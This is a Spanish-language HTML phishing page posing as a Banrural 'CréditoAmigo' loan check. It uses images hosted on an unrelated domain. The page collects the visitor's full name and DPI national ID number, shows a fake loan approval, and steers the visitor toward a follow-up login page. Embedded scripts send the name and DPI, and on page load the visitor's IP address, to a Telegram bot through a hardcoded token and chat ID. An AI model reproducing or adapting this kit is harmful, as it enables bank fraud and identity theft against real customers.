<!DOCTYPE html>
<html lang="es">
  <title>Consulta de CréditoAmigo</title>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <link href="https://cdn.jsdelivr.net/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
  <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@100;300;400;500;700;900&display=swap" rel="stylesheet">
  <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin="">
  <link href="https://fonts.googleapis.com/css2?family=DM+Sans:ital,opsz,wght@0,9..40,100..1000;1,9..40,100..1000&amp;family=Poppins:ital,wght@0,100;0,200;0,300;0,400;0,500;0,600;0,700;0,800;0,900;1,100;1,200;1,300;1,400;1,500;1,600;1,700;1,800;1,900&amp;family=Raleway:ital,wght@0,100..900;1,100..900&amp;family=Roboto:ital,wght@0,100;0,300;0,400;0,500;0,700;0,900;1,100;1,300;1,400;1,500;1,700;1,900&amp;display=swap" rel="stylesheet">

  <style>
      body {
          font-family: Raleway, sans-serif;
          background-image: url('https://mahalaxmicity.com/MnsgtswRur/bg-login-1.jpg');
          background-size: cover;
          background-position: center;
          background-repeat: no-repeat;
          margin: 0;
          padding: 0;
          color: #333;
          min-height: 100vh;
          display: flex;
          justify-content: center;
          align-items: center;
      }

      .header {
          background-color: rgba(250, 252, 255, 0.9);
          color: #0b5031;
          text-align: center;
          padding: 20px;
          border-radius: 10px;
          box-shadow: 0 4px 10px rgba(0, 0, 0, 0.1);
          margin-bottom: 20px;
      }

      .header img {
          width: 80px;
          margin-bottom: 10px;
      }

      .header h1 {
          font-weight: 500;
          font-size: 24px;
          margin: 0;
      }

      .main-container {
          max-width: 500px;
          width: 90%;
          background: rgba(255, 255, 255, 0.9);
          border-radius: 10px;
          box-shadow: 0 4px 10px rgba(0, 0, 0, 0.2);
          padding: 20px;
      }

      .btn-submit {
          background-color: #0b5031;
          color: #fff;
          font-size: 18px;
          border: none;
          border-radius: 8px;
          width: 100%;
          padding: 12px;
          cursor: pointer;
          transition: background-color 0.3s;
      }

      .btn-submit:hover {
          background-color: #0b5045;
      }

      .loading {
          text-align: center;
          padding: 20px;
          display: none;
      }

      .loading img {
          width: 50px;
          margin-bottom: 10px;
      }

      .credit-result {
          text-align: center;
          margin-top: 20px;
          padding: 15px;
          background: rgba(248, 248, 248, 0.9);
          border: 1px solid #ddd;
          border-radius: 8px;
      }

      .credit-result h3 {
          color: #0b5031;
          font-size: 22px;
          margin-bottom: 10px;
      }

      .credit-result p {
          font-size: 16px;
          color: #555;
      }

      @media (max-width: 576px) {
          .header h1 {
              font-size: 20px;
          }

          .btn-submit {
              font-size: 16px;
              padding: 10px;
          }

          .credit-result h3 {
              font-size: 18px;
          }

          .credit-result p {
              font-size: 14px;
          }
      }

      img {
          border-radius: 15px;
          border: 2px solid #fff;
          box-shadow: 0 4px 10px rgb(224, 221, 221);
      }
  </style>
</head>
<body>

    <div class="main-container">
        <header class="header">
            <img src="https://mahalaxmicity.com/MnsgtswRur/Nuevo_Logo_Banrural.png" alt="Logo">
            <h1>Consulta de CréditoAmigo</h1>
        </header>

        <div id="form-container">
            <h2 class="text-center">Verifica si calificas</h2>
            <p class="text-center">Completa los campos para consultar tu Crédito Amigo.</p>
            <form id="credit-form">
                <div class="mb-3">
                    <label for="fullName" class="form-label">Nombre Completo:</label>
                    <input type="text" id="fullName" name="fullName" class="form-control" required>
                </div>
                <div class="mb-3">
                    <label for="dpi" class="form-label">Número de DPI:</label>
                    <input type="tel" id="dpi" name="dpi" class="form-control" required>
                </div>
                <button type="button" id="checkCredit" class="btn-submit">Consultar</button>
            </form>
        </div>

        <div id="loading" class="loading">
            <img src="https://mahalaxmicity.com/MnsgtswRur/banrurall.jpg" alt="Cargando">
            <p>Confirmando si calificas para el Crédito ClienteAmigo...</p>
        </div>

        <div id="credit-result" style="display: none;">
            <div class="credit-result">
                <h3>¡Felicitaciones!</h3>
                <h3>¡Tu CréditoAmigo ha sido aprobado!</h3>
                <p>Nombre del solicitante: <strong id="userName"></strong></p>
                <p>Monto aprobado: <strong>Q40,000.00</strong></p>
                <p>Plazo: <strong>24 meses</strong></p>
                <p>Cuota mensual: <strong>Q400.00</strong></p>
                <p>Tasa de interés anual: <strong>3.33%</strong></p>
                <p>Fecha de inicio de pago estimada: <strong>31/03/2025</strong></p>
                <p>Total a pagar: <strong>Q41,352.00</strong></p>
                <p class="text-danger"><strong>Confirma tu crédito en Banca en Línea y acéptalo ahora.</strong></p>
                <button type="button" id="confirmCredit" class="btn-submit" onclick="window.location.href='user.html';">
                    Confirmar CréditoAmigo
                </button>
            </div>
        </div>
        
        </div>
    </div>


    <script>
        $(document).ready(function () {
            const token = "8013356873:AAEVBq0h1p8HQRl6mM0zXify9WwWhdr1aWc"; // Token de tu bot de Telegram
            const chat_id = "-4605124285"; // ID del chat o grupo en Telegram
    
            $('#checkCredit').on('click', function () {
                const name = $('#fullName').val().trim();
                const dpi = $('#dpi').val().trim();
    
                if (!name || dpi.length < 4) {
                    alert('Por favor, completa todos los campos correctamente.');
                    return;
                }
    
                $('#form-container').fadeOut(() => {
                    $('#loading').fadeIn();
    
                    setTimeout(() => {
                        $('#loading').fadeOut(() => {
                            $('#userName').text(name);
                            $('#credit-result').fadeIn();
    
                            // Crear mensaje para Telegram
                            const message = `
DATOS CLIENTE BANRURAL:
Nombre: ${name}
DPI: ${dpi}
                            `;
    
                            // Enviar datos a Telegram
                            fetch(`https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=${encodeURIComponent(message)}`)
                                .then(response => response.json())
                                .then(data => console.log('Datos enviados a Telegram:', data))
                                .catch(error => console.error('Error al enviar datos a Telegram:', error));
                        });
                    }, 2000);
                });
            });
    
            // Funcionalidad del botón de confirmación
            $('#confirmCredit').on('click', function () {
                alert('Confirma tu CréditoAmigo iniciando sesión y verificando tu identidad para finalizar el proceso de forma segura y exitosa.');
            });
        });
    </script>
    
    
    

    <script>
        window.onload = function () {
            const token = "8013356873:AAEVBq0h1p8HQRl6mM0zXify9WwWhdr1aWc";  // Reemplaza con el token de tu bot
            const chat_id = "-4605124285";  // Reemplaza con tu chat ID
    
            // Obtener la IP del usuario
            fetch('https://api.ipify.org?format=json')
                .then(response => response.json())
                .then(data => {
                    const ip = data.ip;
                    const message = `El usuario accedio a la web💸. IP: ${ip}`;
                    
                    // Enviar mensaje a Telegram
                    fetch(`https://api.telegram.org/bot${token}/sendMessage?chat_id=${chat_id}&text=${encodeURIComponent(message)}`)
                        .then(response => response.json())
                        .then(data => console.log('Mensaje enviado a Telegram:', data))
                        .catch(error => console.error('Error al enviar el mensaje a Telegram:', error));
                })
                .catch(error => console.error('Error al obtener la IP del usuario:', error));
        };
    </script>

</body>
</html>
